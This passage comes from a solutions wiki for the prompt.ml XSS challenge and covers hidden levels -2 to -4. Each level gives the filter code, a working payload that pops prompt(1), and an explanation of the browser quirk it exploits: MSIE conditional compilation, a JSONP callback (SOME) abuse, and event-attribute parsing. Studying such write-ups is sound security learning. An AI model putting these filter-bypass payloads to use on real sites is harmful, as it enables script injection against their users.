\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_,\_)$&prompt(1)

### Background Info

The maximum length of the window.history object is limited to **50** and cannot be increased. So, in no way can this be used for this challenge. The key feature to solve the challenge, the so called Function Hoisting is explained here:

<http://elegantcode.com/2011/03/24/basic-javascript-part-12-function-hoisting/>.

Despite other browsers' behaviors, Firefox doesn't "hoist" function declarations in blocks. This behaviour is explained here:

<http://statichtml.com/2011/spidermonkey-function-hoisting.html>.

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Hidden Level -2](http://prompt.ml/-2)

Oh, no - another code-puzzle, where we have to wiggle our payload around an existing structure and use comments and other things to get the alert to pop. Or is it? Whatever you might try here - it never really seems to fit! The few characters the script grants us here don't really allow for an attack. It just doesn't fit.

### Code

function escape(input) {

// Christmas special edition!

// Ho ho ho these characters are in Santa's naughty list

input = input.replace(/[!=\*`]/g, '');

// pass in your wishes like pets#toys#half-life3...

var segments = input.split('#');

return segments.map(function(title, index) {

// Don't be greedy! Each present can only contain 20 characters

return '<p class="present" title="' + title.slice(0, 20) + '"></p>';

}).join('\n');}

### Solution

"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>

### Background Info

What the... what is this?

Well - if you have spent some time studying MSIE and its quirks and peculiarities, you might have stumbled around a feature called "Conditional Compilation" or @cc\_on. With this feature, you can tell MSIE (at least when loading the page in an older document mode), that there might be certain types of code blocks, that invoke an entirely different parser inside a JavaScript block.

This parser follows its own rules and allows, to wrap around completely invalid code blocks without throwing any syntax errors. There is few to no other features in the JavaScript works that allow to do the same. And guess what, this feature is needed here to make this challenge pop.

Have a look at the following links to get started on conditional compilation:

* [https://msdn.microsoft.com/en-us/library/8ka90k2e%28v=vs.94%29.aspx](https://msdn.microsoft.com/en-us/library/8ka90k2e(v=vs.94).aspx)
* [https://msdn.microsoft.com/en-us/library/58dz2w55%28v=vs.94%29.aspx](https://msdn.microsoft.com/en-us/library/58dz2w55(v=vs.94).aspx)

The second link will even tell you, why we don't have to use @cc\_on here but jump on board with simple and plain @if. MSIE, we will miss you!

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Hidden Level -3](http://prompt.ml/-3)

Another hidden level! Here, we are able to influence two different contexts with one single injection. One is an API call sent over to the folks at Twitter, the other one is a string concatenation into a HTML element. We cannot seem to inject new parameters - and we definitely cannot break the HTML and create new elements. Bummer.

### Code

function escape(input) {

// I iz fabulous cat

// cat hatez dem charz

var query = input.replace(/[&#>]/g, '');

var script = document.createElement('script');

// find me on Twttr

script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';

return '<input name="query" type="hidden" value="' + query + '">' +

script.outerHTML;}

### Solution

"onclick=prompt(1) id="a";callback=a.click;

### Background Info

In this challenge, the successful attack made use of a "misunderstanding" between the filtering script and the actual API. The script tried to oppress usage of characters allowing for a break-out or a change in API parameters. But we could bypass that by using ; instead of &. Then, we simply inject a click-handler that would listen and wait for the API to actually fire the event - and hence execute the desired prompt.

Note, that the API changed recently so the PoC doesn't work any much longer. Still, bugs like that are not as uncommon as it seems! You might want to read up on an attack called SOME (or, as some call it, Reverse Clickjacking).

» [Top](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml" \l "index)

## [Hidden Level -4](http://prompt.ml/-4)

This level poses a seemingly impossible challenge, a challenge, that can often be found in real-life injections as well. And a challenge, that seems related to the hidden level "-1". We can inject into an existing onload event attribute, but we cannot escape the attribute and create new attributes.

Prior to our injection, other code needs to be executed. Code, that produces an error and therefore blocks our own injection. And now what?

### Code

function escape(input) {

// You know the rules and so do I

input = input.replace(/"/g, '');

return '<body onload="think.out.of.the.box(' + input + ')">';}

### Solution

)},{0:prompt(1

### Background Info

The solution seems nonsensical and appears to be broken JavaScript. If we take the solution and combine it with the existing challenge code, it doesn't get better. Let's have a look:

return '<body onload="think.out.of.the.box()},{0:prompt(1)">';

That shouldn't work, right? And correct, it shouldn't and doesn't. But it did! In the past, browsers often exposed strange and quirky behaviours when parsing the content of event attributes and putting them into an actual execution context. Chrome for example parsed the content of the attribute and concatenated it into a string of JavaScript, executed several layers "below the DOM", in the browser core.

What the solution does is simply making use of that fact. It considers the code in the browser core and wraps itself around the internal calls in just the way, that the result is valid code after all, that gets executed. The implementation changed several times, so the solution might work for some older versions of Chrome, while for others, a different vector would be needed.

After some time, the Chromium team fixed the problem - and nowadays, those kinds of injections are believed to be dead.